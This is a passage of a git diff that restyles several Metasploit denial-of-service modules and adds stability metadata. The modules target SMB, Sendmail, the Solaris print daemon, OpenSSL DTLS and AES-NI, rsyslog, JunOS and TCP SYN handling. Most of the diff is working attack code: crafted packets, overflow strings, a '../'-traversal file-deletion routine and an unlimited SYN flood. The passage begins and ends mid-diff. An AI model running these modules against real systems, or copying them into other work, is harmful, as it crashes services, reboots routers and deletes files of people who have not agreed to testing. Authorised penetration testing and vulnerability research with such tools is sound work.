"SOURCE\x00\x00" # Source test << "\x00" * 8 # Padding - test << "B" * (1024 - test.length) # Level & Message coalesced + test << 'B' * (1024 - test.length) # Level & Message coalesced connect_udp diff --git a/modules/auxiliary/dos/smb/smb_loris.rb b/modules/auxiliary/dos/smb/smb_loris.rb index fc35fbba157bf..3dcd39e24d5ec 100755 --- a/modules/auxiliary/dos/smb/smb_loris.rb +++ b/modules/auxiliary/dos/smb/smb_loris.rb @@ -22,23 +22,23 @@ class NbssHeader < BinData::Record grinds to a halt. This vulnerability was originally disclosed by Sean Dillon and Zach Harding. - DISCALIMER: This module opens a lot of simultaneous connections. Please check + DISCLAIMER: This module opens a lot of simultaneous connections. Please check your system's ULIMIT to make sure it can handle it. This module will also run continuously until stopped. }, authors: [ - 'thelightcosine', - 'Adam Cammack ' + 'thelightcosine', + 'Adam Cammack ' ], date: '2017-06-29', references: [ { type: 'url', ref: 'https://web.archive.org/web/20170804072329/https://smbloris.com/' }, - { type: 'aka', ref: 'SMBLoris'} + { type: 'aka', ref: 'SMBLoris' } ], type: 'dos', options: { - rhost: {type: 'address', description: 'The target address', required: true, default: nil}, - rport: {type: 'port', description: 'SMB port on the target', required: true, default: 445}, + rhost: { type: 'address', description: 'The target address', required: true, default: nil }, + rport: { type: 'port', description: 'SMB port on the target', required: true, default: 445 } } } @@ -55,39 +55,35 @@ def run(args) Metasploit.logging_prefix = "#{target.inspect_sockaddr} - " - while true do - begin - sockets.delete_if do |s| - s.closed? - end + loop do + sockets.delete_if(&:closed?) - nsock = target.connect(timeout: 360) - nsock.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, true) - nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPCNT, 5)) - nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPINTVL, 10)) - nsock.setsockopt(Socket::Option.linger(true, 60)) - nsock.write(header.to_binary_s) - sockets << nsock + nsock = target.connect(timeout: 360) + nsock.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, true) + nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPCNT, 5)) + nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPINTVL, 10)) + nsock.setsockopt(Socket::Option.linger(true, 60)) + nsock.write(header.to_binary_s) + sockets << nsock - n_loops += 1 - if last_reported != sockets.length - if n_loops % 100 == 0 - last_reported = sockets.length - Metasploit.log "#{sockets.length} socket(s) open", level: 'info' - end - elsif n_loops % 1000 == 0 - Metasploit.log "Holding steady at #{sockets.length} socket(s) open", level: 'info' + n_loops += 1 + if last_reported != sockets.length + if n_loops % 100 == 0 + last_reported = sockets.length + Metasploit.log "#{sockets.length} socket(s) open", level: 'info' end - rescue Interrupt - break - sockets.each &:close - rescue Errno::EMFILE - Metasploit.log "At open socket limit with #{sockets.length} sockets open. Try increasing your system limits.", level: 'warning' unless warned - warned = true - sockets.slice(0).close - rescue Exception => e - Metasploit.log "Exception sending packet: #{e.message}", level: 'error' + elsif n_loops % 1000 == 0 + Metasploit.log "Holding steady at #{sockets.length} socket(s) open", level: 'info' end + rescue Interrupt + sockets.each(&:close) + break + rescue Errno::EMFILE + Metasploit.log "At open socket limit with #{sockets.length} sockets open. Try increasing your system limits.", level: 'warning' unless warned + warned = true + sockets.slice(0).close + rescue StandardError => e + Metasploit.log "Exception sending packet: #{e.message}", level: 'error' end end diff --git a/modules/auxiliary/dos/smtp/sendmail_prescan.rb b/modules/auxiliary/dos/smtp/sendmail_prescan.rb index fef094fe27416..a06f16facddf2 100644 --- a/modules/auxiliary/dos/smtp/sendmail_prescan.rb +++ b/modules/auxiliary/dos/smtp/sendmail_prescan.rb @@ -8,48 +8,54 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Sendmail SMTP Address prescan Memory Corruption', - 'Description' => %q{ - This is a proof of concept denial of service module for Sendmail versions - 8.12.8 and earlier. The vulnerability is within the prescan() method when - parsing SMTP headers. Due to the prescan function, only 0x5c and 0x00 - bytes can be used, limiting the likelihood for arbitrary code execution. - }, - 'Author' => [ 'aushack' ], - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Sendmail SMTP Address prescan Memory Corruption', + 'Description' => %q{ + This is a proof of concept denial of service module for Sendmail versions + 8.12.8 and earlier. The vulnerability is within the prescan() method when + parsing SMTP headers. Due to the prescan function, only 0x5c and 0x00 + bytes can be used, limiting the likelihood for arbitrary code execution. + }, + 'Author' => [ 'aushack' ], + 'References' => [ [ 'OSVDB', '2577' ], [ 'CVE', '2003-0694' ], [ 'BID', '8641' ], [ 'EDB', '24' ] ], - 'DisclosureDate' => '2003-09-17')) + 'DisclosureDate' => '2003-09-17', + 'Notes' => { + 'AKA' => ['EARLYSHOVEL'], + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) end def run - begin - connect - # we use connect instead of connect_login, - # because we send our own malicious RCPT. - # however we want to make use of MAILFROM - # and raw_send_recv() - #select(nil,nil,nil,23) # so we can attach gdb to the child PID + connect + # we use connect instead of connect_login, + # because we send our own malicious RCPT. + # however we want to make use of MAILFROM + # and raw_send_recv() + # select(nil,nil,nil,23) # so we can attach gdb to the child PID - sploit = ("A" * 255 + ";") * 4 + "A" * 217 + ";" + "\x5c\xff" * 28 + sploit = ('A' * 255 + ';') * 4 + 'A' * 217 + ';' + "\x5c\xff" * 28 - raw_send_recv("EHLO X\r\n") - raw_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n") - print_status("Sending DoS packet.") - raw_send_recv("RCPT TO: #{sploit}\r\n") - - disconnect - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - print_status("Couldn't connect to #{rhost}:#{rport}") - rescue ::EOFError - print_status("Sendmail stopped responding after sending trigger - target vulnerable.") - end + raw_send_recv("EHLO X\r\n") + raw_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n") + print_status('Sending DoS packet.') + raw_send_recv("RCPT TO: #{sploit}\r\n") + disconnect + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + print_status("Couldn't connect to #{rhost}:#{rport}") + rescue ::EOFError + print_status('Sendmail stopped responding after sending trigger - target vulnerable.') end end diff --git a/modules/auxiliary/dos/solaris/lpd/cascade_delete.rb b/modules/auxiliary/dos/solaris/lpd/cascade_delete.rb index 8a8ca9e182a0b..aabe7d640deef 100644 --- a/modules/auxiliary/dos/solaris/lpd/cascade_delete.rb +++ b/modules/auxiliary/dos/solaris/lpd/cascade_delete.rb @@ -3,50 +3,56 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'English' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Solaris LPD Arbitrary File Delete', - 'Description' => %q{ - This module uses a vulnerability in the Solaris line printer - daemon to delete arbitrary files on an affected system. This - can be used to exploit the rpc.walld format string flaw, the - missing krb5.conf authentication bypass, or simply delete - system files. Tested on Solaris 2.6, 7, 8, 9, and 10. - - }, - 'Author' => [ 'hdm', 'Optyx ' ], - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Solaris LPD Arbitrary File Delete', + 'Description' => %q{ + This module uses a vulnerability in the Solaris line printer + daemon to delete arbitrary files on an affected system. This + can be used to exploit the rpc.walld format string flaw, the + missing krb5.conf authentication bypass, or simply delete + system files. Tested on Solaris 2.6, 7, 8, 9, and 10. + }, + 'Author' => [ 'hdm', 'Optyx ' ], + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2005-4797' ], [ 'BID', '14510' ], [ 'OSVDB', '18650' ] - ] - )) - - register_options( - [ - Opt::RPORT(515), - OptString.new('RPATH', [ true, "The remote file path to delete"]), - ]) + ], + 'Notes' => { + 'Stability' => [SERVICE_RESOURCE_LOSS], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) + + register_options( + [ + Opt::RPORT(515), + OptString.new('RPATH', [ true, 'The remote file path to delete']), + ] + ) end def run - - - r_hostname = Rex::Text.rand_text_alpha(rand(8)+1) - r_user = Rex::Text.rand_text_alpha(rand(8)+1) - r_spool = Rex::Text.rand_text_alpha(rand(8)+1) + r_hostname = Rex::Text.rand_text_alpha(1..8) + r_user = Rex::Text.rand_text_alpha(1..8) + r_spool = Rex::Text.rand_text_alpha(1..8) # Create a simple control file... - control = "H#{r_hostname}\nP#{r_user}\n"; + control = "H#{r_hostname}\nP#{r_user}\n" # The job ID is squashed down to three decimal digits - jid = ($$ % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0] + jid = ($PROCESS_ID % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0] # Establish the first connection to the server sock1 = connect(false) @@ -54,8 +60,8 @@ def run # Request a cascaded job sock1.put("\x02#{r_hostname}:#{r_spool}\n") res = sock1.get_once - if (not res) - print_status("The target did not accept our job request command") + if !res + print_status('The target did not accept our job request command') return end @@ -63,14 +69,14 @@ def run # the lp daemon will append garbage from memory to the path name # if we don't stick a null byte after the path. Unfortunately, this # null byte will prevent the parser from processing the other paths. - control << "U" + ("../" * 10) + "#{datastore['RPATH']}\x00\n" + control << 'U' + ('../' * 10) + "#{datastore['RPATH']}\x00\n" - dataf = Rex::Text.rand_text_alpha(100)+1 + dataf = Rex::Text.rand_text_alpha(100) + 1 print_status("Deleting #{datastore['RPATH']}...") if !( - send_file(sock1, 2, "cfA" + jid + r_hostname, control) and - send_file(sock1, 3, "dfa" + jid + r_hostname, dataf) + send_file(sock1, 2, 'cfA' + jid + r_hostname, control) && + send_file(sock1, 3, 'dfa' + jid + r_hostname, dataf) ) sock1.close return @@ -80,19 +86,18 @@ def run sock1.close end - def send_file(s, type, name, data='') - - s.put(type.chr + data.length.to_s + " " + name + "\n") - res = s.get_once(1) - if !(res and res[0] == ?\0) + def send_file(sock, type, name, data = '') + sock.put(type.chr + data.length.to_s + ' ' + name + "\n") + res = sock.get_once(1) + if !(res && res[0] == "\0") print_status("The target did not accept our control file command (#{name})") return end - s.put(data) - s.put("\x00") - res = s.get_once(1) - if !(res and res[0] == ?\0) + sock.put(data) + sock.put("\x00") + res = sock.get_once(1) + if !(res && res[0] == "\0") print_status("The target did not accept our control file data (#{name})") return end diff --git a/modules/auxiliary/dos/ssl/dtls_changecipherspec.rb b/modules/auxiliary/dos/ssl/dtls_changecipherspec.rb index e4779b3b81d48..4ca1dfa7841c3 100644 --- a/modules/auxiliary/dos/ssl/dtls_changecipherspec.rb +++ b/modules/auxiliary/dos/ssl/dtls_changecipherspec.rb @@ -8,37 +8,43 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Capture def initialize(info = {}) - super(update_info(info, - 'Name' => 'OpenSSL DTLS ChangeCipherSpec Remote DoS', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'OpenSSL DTLS ChangeCipherSpec Remote DoS', + 'Description' => %q{ This module performs a Denial of Service Attack against Datagram TLS in OpenSSL - version 0.9.8i and earlier. OpenSSL crashes under these versions when it receives a - ChangeCipherspec Datagram before a ClientHello. - }, - 'Author' => [ - 'Jon Oberheide ', #original code - 'theLightCosine' # metasploit module - ], - 'License' => MSF_LICENSE, - 'References' => - [ + version 0.9.8i and earlier. OpenSSL crashes under these versions when it receives a + ChangeCipherspec Datagram before a ClientHello. + }, + 'Author' => [ + 'Jon Oberheide ', # original code + 'theLightCosine' # metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2009-1386' ], [ 'OSVDB', '55073'], ], - 'DisclosureDate' => '2000-04-26')) + 'DisclosureDate' => '2000-04-26', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options([ - Opt::RPORT(80), - Opt::RHOST - ] - ) + Opt::RPORT(80) + ]) - deregister_options('FILTER','PCAPFILE', 'INTERFACE', 'SNAPLEN', 'TIMEOUT') + deregister_options('FILTER', 'PCAPFILE', 'INTERFACE', 'SNAPLEN', 'TIMEOUT') end def run open_pcap - print_status("Creating DTLS ChangeCipherSpec Datagram...") + print_status('Creating DTLS ChangeCipherSpec Datagram...') p = PacketFu::UDPPacket.new p.ip_daddr = datastore['RHOST'] p.ip_src = rand(0x100000000) @@ -47,7 +53,7 @@ def run p.udp_dport = datastore['RPORT'].to_i p.payload = "\x14\xfe\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01" p.recalc - print_status("Sending Datagram to target...") + print_status('Sending Datagram to target...') capture_sendto(p, '255.255.255.255') close_pcap end diff --git a/modules/auxiliary/dos/ssl/dtls_fragment_overflow.rb b/modules/auxiliary/dos/ssl/dtls_fragment_overflow.rb index 3c326cf701268..af2a2323639d0 100644 --- a/modules/auxiliary/dos/ssl/dtls_fragment_overflow.rb +++ b/modules/auxiliary/dos/ssl/dtls_fragment_overflow.rb @@ -8,39 +8,45 @@ class MetasploitModule < Msf::Auxiliary include Exploit::Remote::Udp def initialize(info = {}) - super(update_info(info, - 'Name' => 'OpenSSL DTLS Fragment Buffer Overflow DoS', - 'Description' => %q{ - This module performs a Denial of Service Attack against Datagram TLS in - OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h. - This occurs when a DTLS ClientHello message has multiple fragments and the - fragment lengths of later fragments are larger than that of the first, a - buffer overflow occurs, causing a DoS. - }, - 'Author' => - [ + super( + update_info( + info, + 'Name' => 'OpenSSL DTLS Fragment Buffer Overflow DoS', + 'Description' => %q{ + This module performs a Denial of Service Attack against Datagram TLS in + OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h. + This occurs when a DTLS ClientHello message has multiple fragments and the + fragment lengths of later fragments are larger than that of the first, a + buffer overflow occurs, causing a DoS. + }, + 'Author' => [ 'Juri Aedla ', # Vulnerability discovery 'Jon Hart ' # Metasploit module ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ ['CVE', '2014-0195'], ['ZDI', '14-173'], ['BID', '67900'], - ['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/ZDI-14-173-CVE-2014-0195-OpenSSL-DTLS-Fragment-Out-of-Bounds/ba-p/6501002'], - ['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Once-Bled-Twice-Shy-OpenSSL-CVE-2014-0195/ba-p/6501048'] + ['URL', 'http://web.archive.org/web/20150815024234/http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/ZDI-14-173-CVE-2014-0195-OpenSSL-DTLS-Fragment-Out-of-Bounds/ba-p/6501002'], + ['URL', 'http://web.archive.org/web/20140707160621/http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Once-Bled-Twice-Shy-OpenSSL-CVE-2014-0195/ba-p/6501048'] ], - 'DisclosureDate' => '2014-06-05')) + 'DisclosureDate' => '2014-06-05', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options([ Opt::RPORT(4433), - OptInt.new('VERSION', [true, "SSl/TLS version", 0xFEFF]) + OptInt.new('VERSION', [true, 'SSl/TLS version', 0xFEFF]) ]) - end - def build_tls_fragment(type, length, seq, frag_offset, frag_length, frag_body=nil) + def build_tls_fragment(type, length, seq, frag_offset, frag_length, frag_body = nil) # format is: type (1 byte), total length (3 bytes), sequence # (2 bytes), # fragment offset (3 bytes), fragment length (3 bytes), fragment body sol = (seq << 48) | (frag_offset << 24) | frag_length @@ -48,7 +54,7 @@ def build_tls_fragment(type, length, seq, frag_offset, frag_length, frag_body=ni (type << 24) | length, (sol >> 32), (sol & 0x00000000FFFFFFFF) - ].pack("NNN") + frag_body + ].pack('NNN') + frag_body end def build_tls_message(type, version, epoch, sequence, message) @@ -61,7 +67,7 @@ def build_tls_message(type, version, epoch, sequence, message) (es >> 32), (es & 0x00000000FFFFFFFF), message.length - ].pack("CnNNn") + message + ].pack('CnNNn') + message end def run diff --git a/modules/auxiliary/dos/ssl/openssl_aesni.rb b/modules/auxiliary/dos/ssl/openssl_aesni.rb index 0ead893ae5bb2..d9b313374ee36 100644 --- a/modules/auxiliary/dos/ssl/openssl_aesni.rb +++ b/modules/auxiliary/dos/ssl/openssl_aesni.rb @@ -9,45 +9,53 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'OpenSSL TLS 1.1 and 1.2 AES-NI DoS', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'OpenSSL TLS 1.1 and 1.2 AES-NI DoS', + 'Description' => %q{ The AES-NI implementation of OpenSSL 1.0.1c does not properly compute the - length of an encrypted message when used with a TLS version 1.1 or above. This - leads to an integer underflow which can cause a DoS. The vulnerable function - aesni_cbc_hmac_sha1_cipher is only included in the 64-bit versions of OpenSSL. - This module has been tested successfully on Ubuntu 12.04 (64-bit) with the default - OpenSSL 1.0.1c package. - }, - 'Author' => - [ + length of an encrypted message when used with a TLS version 1.1 or above. This + leads to an integer underflow which can cause a DoS. The vulnerable function + aesni_cbc_hmac_sha1_cipher is only included in the 64-bit versions of OpenSSL. + This module has been tested successfully on Ubuntu 12.04 (64-bit) with the default + OpenSSL 1.0.1c package. + }, + 'Author' => [ 'Wolfgang Ettlinger ' ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2012-2686'], [ 'URL', 'https://www.openssl.org/news/secadv/20130205.txt' ] ], - 'DisclosureDate' => '2013-02-05')) + 'DisclosureDate' => '2013-02-05', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options( [ Opt::RPORT(443), - OptInt.new('MAX_TRIES', [true, "Maximum number of tries", 300]) - ]) + OptInt.new('MAX_TRIES', [true, 'Maximum number of tries', 300]) + ] + ) end def run # Client Hello - p1 = "\x16" # Content Type: Handshake + p1 = "\x16" # Content Type: Handshake p1 << "\x03\x01" # Version: TLS 1.0 p1 << "\x00\x7e" # Length: 126 - p1 << "\x01" # Handshake Type: Client Hello - p1 << "\x00\x00\x7a" # Length: 122 + p1 << "\x01" # Handshake Type: Client Hello + p1 << "\x00\x00\x7a" # Length: 122 p1 << "\x03\x02" # Version: TLS 1.1 - p1 << ("A" * 32) # Random - p1 << "\x00" # Session ID Length: 0 + p1 << ('A' * 32) # Random + p1 << "\x00" # Session ID Length: 0 p1 << "\x00\x08" # Cypher Suites Length: 6 p1 << "\xc0\x13" # - ECDHE-RSA-AES128-SHA p1 << "\x00\x39" # - DHE-RSA-AES256-SHA @@ -75,64 +83,58 @@ def run p1 << "\x00\x00" # Length: 0 p1 << "\x00\x0f" # - Extension: Heartbeat p1 << "\x00\x01" # Length: 1 - p1 << "\x01" # Peer allowed to send requests - + p1 << "\x01" # Peer allowed to send requests # Change Cipher Spec Message - p2_cssm = "\x14" # Content Type: Change Cipher Spec + p2_cssm = "\x14" # Content Type: Change Cipher Spec p2_cssm << "\x03\x02" # Version: TLS 1.1 p2_cssm << "\x00\x01" # Length: 1 - p2_cssm << "\x01" # Change Cipher Spec Message - + p2_cssm << "\x01" # Change Cipher Spec Message # Encrypted Handshake Message - p2_ehm = "\x16" # Content Type: Handshake + p2_ehm = "\x16" # Content Type: Handshake p2_ehm << "\x03\x02" # Version: TLS 1.1 p2_ehm << "\x00\x40" # Length: 64 - p2_ehm << ("A" * 64) # Encrypted Message - + p2_ehm << ('A' * 64) # Encrypted Message # Client Key Exchange, Change Cipher Spec, Encrypted Handshake # AES256-SHA - p2_aes_sha = "\x16" # Content Type: Handshake + p2_aes_sha = "\x16" # Content Type: Handshake p2_aes_sha << "\x03\x02" # Version: TLS 1.1 p2_aes_sha << "\x01\x06" # Length: 262 - p2_aes_sha << "\x10" # Handshake Type: Client Key Exchange - p2_aes_sha << "\x00\x01\x02" # Length: 258 - p2_aes_sha << "\x01\x00" # Encrypted PreMaster Length: 256 - p2_aes_sha << ("\x00" * 256) # Encrypted PresMaster (irrelevant) - p2_aes_sha << p2_cssm # Change Cipher Spec Message - p2_aes_sha << p2_ehm # Encrypted Handshake Message - + p2_aes_sha << "\x10" # Handshake Type: Client Key Exchange + p2_aes_sha << "\x00\x01\x02" # Length: 258 + p2_aes_sha << "\x01\x00" # Encrypted PreMaster Length: 256 + p2_aes_sha << ("\x00" * 256) # Encrypted PresMaster (irrelevant) + p2_aes_sha << p2_cssm # Change Cipher Spec Message + p2_aes_sha << p2_ehm # Encrypted Handshake Message # DHE-RSA-AES256-SHA - p2_dhe = "\x16" # Content Type: Handshake + p2_dhe = "\x16" # Content Type: Handshake p2_dhe << "\x03\x02" # Version: TLS 1.1 p2_dhe << "\x00\x46" # Length: 70 - p2_dhe << "\x10" # Handshake Type: Client Key Exchange - p2_dhe << "\x00\x00\x42" # Length: 66 + p2_dhe << "\x10" # Handshake Type: Client Key Exchange + p2_dhe << "\x00\x00\x42" # Length: 66 p2_dhe << "\x00\x40" # DH Pubkey Length: 64 - p2_dhe << ("A" * 64) # DH Pubkey - p2_dhe << p2_cssm # Change Cipher Spec Message - p2_dhe << p2_ehm # Encrypted Handshake Message - + p2_dhe << ('A' * 64) # DH Pubkey + p2_dhe << p2_cssm # Change Cipher Spec Message + p2_dhe << p2_ehm # Encrypted Handshake Message # ECDHE-RSA-AES128-SHA - p2_ecdhe = "\x16" # Content Type: Handshake + p2_ecdhe = "\x16" # Content Type: Handshake p2_ecdhe << "\x03\x02" # Version: TLS 1.1 p2_ecdhe << "\x00\x46" # Length: 70 - p2_ecdhe << "\x10" # Handshake Type: Client Key Exchange - p2_ecdhe << "\x00\x00\x42" # Length: 66 - p2_ecdhe << "\x41" # EC DH Pubkey Length: 65 + p2_ecdhe << "\x10" # Handshake Type: Client Key Exchange + p2_ecdhe << "\x00\x00\x42" # Length: 66 + p2_ecdhe << "\x41" # EC DH Pubkey Length: 65 # EC DH Pubkey: p2_ecdhe << "\x04\x2f\x22\xf4\x06\x3f\xa1\xf7\x3d\xb6\x55\xbc\x68\x65\x57\xd8" p2_ecdhe << "\x03\xe5\xaa\x36\xeb\x0f\x52\x5a\xaf\xd0\x9f\xf8\xc7\xfe\x09\x69" p2_ecdhe << "\x5b\x38\x95\x58\xb6\x0d\x27\x53\xe9\x63\xcb\x96\xb3\x54\x47\xa6" p2_ecdhe << "\xb2\xe6\x8b\x2a\xd9\x03\xb4\x85\x46\xd9\x1c\x5f\xd1\xf7\x7b\x73" p2_ecdhe << "\x40" - p2_ecdhe << p2_cssm # Change Cipher Spec Message - p2_ecdhe << p2_ehm # Encrypted Handshake Message - + p2_ecdhe << p2_cssm # Change Cipher Spec Message + p2_ecdhe << p2_ehm # Encrypted Handshake Message maxtries = datastore['MAX_TRIES'] @@ -155,16 +157,16 @@ def run elsif cs == 0x0035 # AES256-SHA p2 = p2_aes_sha else - print_error("No common ciphers!") + print_error('No common ciphers!') return end sock.put(p2) - alert = nil + _ begin - alert = sock.get_once(-1, 2) + _ rescue EOFError print_good("DoS successful. process on #{rhost} did not respond.") success = true @@ -176,7 +178,7 @@ def run end if success == false - print_error("DoS unsuccessful.") + print_error('DoS unsuccessful.') end end @@ -184,22 +186,20 @@ def get_cipher_suite(resp) offset = 0 while offset < resp.length - type = (resp[offset, 1]).unpack("C")[0] + type = (resp[offset, 1]).unpack('C')[0] - if not type == 22 # Handshake + if type != 22 # Handshake return nil end - len = (resp[offset+3, 2]).unpack("n")[0] - hstype = (resp[offset+5, 1]).unpack("C")[0] + len = (resp[offset + 3, 2]).unpack('n')[0] + hstype = (resp[offset + 5, 1]).unpack('C')[0] if hstype == 2 # Server Hello - return (resp[offset+44, 2]).unpack("n")[0] + return (resp[offset + 44, 2]).unpack('n')[0] end offset += len end - end end - diff --git a/modules/auxiliary/dos/syslog/rsyslog_long_tag.rb b/modules/auxiliary/dos/syslog/rsyslog_long_tag.rb index 9c9ae10a05e2e..bf83f730cbd15 100644 --- a/modules/auxiliary/dos/syslog/rsyslog_long_tag.rb +++ b/modules/auxiliary/dos/syslog/rsyslog_long_tag.rb @@ -9,7 +9,7 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'rsyslog Long Tag Off-By-Two DoS', + 'Name' => 'rsyslog Long Tag Off-By-Two DoS', 'Description' => %q{ This module triggers an off-by-two overflow in the rsyslog daemon. This flaw is unlikely to yield code execution @@ -18,25 +18,31 @@ def initialize Compiler differences may prevent this bug from causing any noticeable result on many systems (RHEL6 is affected). }, - 'Author' => 'hdm', - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'CVE', '2011-3200'], - [ 'URL', 'https://www.rsyslog.com/potential-dos-with-malformed-tag/' ], - [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=727644' ], - ], - 'DisclosureDate' => 'Sep 01 2011') + 'Author' => 'hdm', + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2011-3200'], + ['URL', 'https://www.rsyslog.com/potential-dos-with-malformed-tag/'], + ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=727644'], + ], + 'DisclosureDate' => 'Sep 01 2011', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) register_options( [ Opt::RPORT(514) - ]) + ] + ) end def run connect_udp - pkt = "<174>" + ("#" * 512) + ":" + pkt = '<174>' + ('#' * 512) + ':' print_status("Sending message containing a malformed RFC3164 tag to #{rhost}") udp_sock.put(pkt) disconnect_udp diff --git a/modules/auxiliary/dos/tcp/junos_tcp_opt.rb b/modules/auxiliary/dos/tcp/junos_tcp_opt.rb index 659d436b39595..6be4be8d157f3 100644 --- a/modules/auxiliary/dos/tcp/junos_tcp_opt.rb +++ b/modules/auxiliary/dos/tcp/junos_tcp_opt.rb @@ -9,20 +9,25 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'Juniper JunOS Malformed TCP Option', - 'Description' => %q{ This module exploits a denial of service vulnerability + 'Name' => 'Juniper JunOS Malformed TCP Option', + 'Description' => %q{ + This module exploits a denial of service vulnerability in Juniper Network's JunOS router operating system. By sending a TCP packet with TCP option 101 set, an attacker can cause an affected router to reboot. - }, - 'Author' => 'todb', - 'License' => MSF_LICENSE, - 'References' => - [ - ['BID', '37670'], - ['OSVDB', '61538'], - ['URL','http://praetorianprefect.com/archives/2010/01/junos-juniper-flaw-exposes-core-routers-to-kernal-crash/'] - ] + }, + 'Author' => 'todb', + 'License' => MSF_LICENSE, + 'References' => [ + ['BID', '37670'], + ['OSVDB', '61538'], + ['URL', 'http://praetorianprefect.com/archives/2010/01/junos-juniper-flaw-exposes-core-routers-to-kernal-crash/'] + ], + 'Notes' => { + 'Stability' => [CRASH_OS_RESTARTS], + 'SideEffects' => [], + 'Reliability' => [] + } ) register_options([ @@ -31,7 +36,7 @@ def initialize OptAddress.new('SHOST', [false, 'Source address (defaults to random)']) ]) - deregister_options('FILTER','PCAPFILE', 'SNAPLEN') + deregister_options('FILTER', 'PCAPFILE', 'SNAPLEN') end def rport @@ -47,21 +52,20 @@ def shost end def run - open_pcap p = PacketFu::TCPPacket.new p.ip_daddr = rhost p.ip_saddr = shost - p.ip_ttl = rand(128) + 128 + p.ip_ttl = rand(128..255) p.tcp_sport = sport p.tcp_dport = rport p.tcp_flags.syn = 1 - p.tcp_win = rand(4096)+1 + p.tcp_win = rand(1..4096) p.tcp_opts = "e\x02\x01\x00" # Opt 101, len 2, nop, eol p.recalc print_status("#{p.ip_daddr}:#{p.tcp_dport} Sending TCP Syn packet from #{p.ip_saddr}:#{p.tcp_sport}") - capture_sendto(p,rhost) + capture_sendto(p, rhost) close_pcap end end diff --git a/modules/auxiliary/dos/tcp/synflood.rb b/modules/auxiliary/dos/tcp/synflood.rb index 9f5c137fc24de..e4410e7cf63a9 100644 --- a/modules/auxiliary/dos/tcp/synflood.rb +++ b/modules/auxiliary/dos/tcp/synflood.rb @@ -9,10 +9,15 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'TCP SYN Flooder', + 'Name' => 'TCP SYN Flooder', 'Description' => 'A simple TCP SYN flooder', - 'Author' => 'kris katterjohn', - 'License' => MSF_LICENSE + 'Author' => 'kris katterjohn', + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } ) register_options([ @@ -22,11 +27,11 @@ def initialize OptInt.new('NUM', [false, 'Number of SYNs to send (else unlimited)']) ]) - deregister_options('FILTER','PCAPFILE') + deregister_options('FILTER', 'PCAPFILE') end def sport - datastore['SPORT'].to_i.zero? ? rand(65535)+1 : datastore['SPORT'].to_i + datastore['SPORT'].to_i.zero? ? rand(1..65535) : datastore['SPORT'].to_i end def rport @@ -51,13 +56,14 @@ def run p.tcp_dport = rport p.tcp_flags.syn = 1 - while (num <= 0) or (sent < num) - p.ip_ttl = rand(128)+128 - p.tcp_win = rand(4096)+1 + while (num <= 0) || (sent < num) + p.ip_ttl = rand(128..255) + p.tcp_win = rand(1..4096) p.tcp_sport = sport p.tcp_seq = rand(0x100000000) p.recalc - break unless capture_sendto(p,rhost) + break unless capture_sendto(p, rhost) + sent += 1 end diff --git a/modules/auxiliary/dos/upnp/miniupnpd_dos.rb b/modules/auxiliary/dos/upnp/miniupnpd_dos.rb index ae666147e1097..6ea2062156ddb 100644 --- a/modules/auxiliary/dos/upnp/miniupnpd_dos.rb +++ 